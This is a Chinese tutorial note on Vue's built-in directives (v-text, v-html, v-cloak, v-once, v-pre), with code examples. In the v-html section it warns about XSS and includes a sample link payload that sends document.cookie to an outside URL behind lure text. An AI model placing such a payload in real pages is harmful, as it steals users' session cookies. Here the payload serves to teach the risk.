15_Vue内置指令

v-text指令

1.作用：向其所在的节点中渲染文本内容

2.与插值语法的区别：v-text会替换掉节点中的内容，插值语法{{xx}}则不会。

 <!-- 准备好一个容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name">这里写的东西没有用，不会显示</div>
        <!-- str中的标签不会被解析，只当作正常的文本 -->
        <div v-text="str"></div> 
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
                name:'朱雀',
                str:'<h2>左青龙，右白虎</h2>'
            }          
        })
    </script>

v-html指令

1.作用：向指定节点中渲染包含html结构的内容

2.与插值语法的区别:

(1)v-html会替换掉节点中所有的内容，{{xx}}则不会。

(2)v-html可以识别html结构，可解析标签。

3.注意: v-html有安全性问题!!!

(1)在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。

(2)一定要在可信的内容上使用v-htm1，永不要用在用户提交的内容上!

!-- 准备好一个容器 -->
    <div id="root">
        <div>你好，{{name}}</div>
        <div v-text="name">这里写的东西没有用，不会显示</div>
        <!-- v-html可以解析str中的标签-->
        <div v-html="str"></div>
        <div v-html="str2"></div>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
                name:'朱雀',
                str:'<h2>左青龙，右白虎</h2>',
                str2:'<a href=javascript:location.href="http://www.baidu.com?"
+document.cookie>兄弟我找到了你想要的资源，快点我！</a>'
            }
        })
    </script>

v-cloak指令(没有值)

1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。

2.使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。

v-once指令(没有值)

1.v-once所在节点在初次动态渲染后，就视为静态内容了。

2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<div id="root">
        <h2 v-once>初始化的n值是：{{n}}</h2>
        <h2>当前的n值是：{{n}}</h2>
        <button @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
            n:1
            }          
        })
    </script>

v-pre指令(没有值)

1.跳过其所在节点的编译过程。

2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<!-- 准备好一个容器 -->
    <div id="root">
        <h2 v-pre>Vue其实很简单</h2>
        <!-- 下面的插值语法和指令语法都不会解析 -->
        <h2 v-pre>当前的n值是：{{n}}</h2>
        <button v-pre @click="n++">点我n+1</button>
    </div>
    <script type="text/javascript"> 
        const vm = new Vue({
            el:'#root',
            data:{
            n:1
            }          
        })
    </script>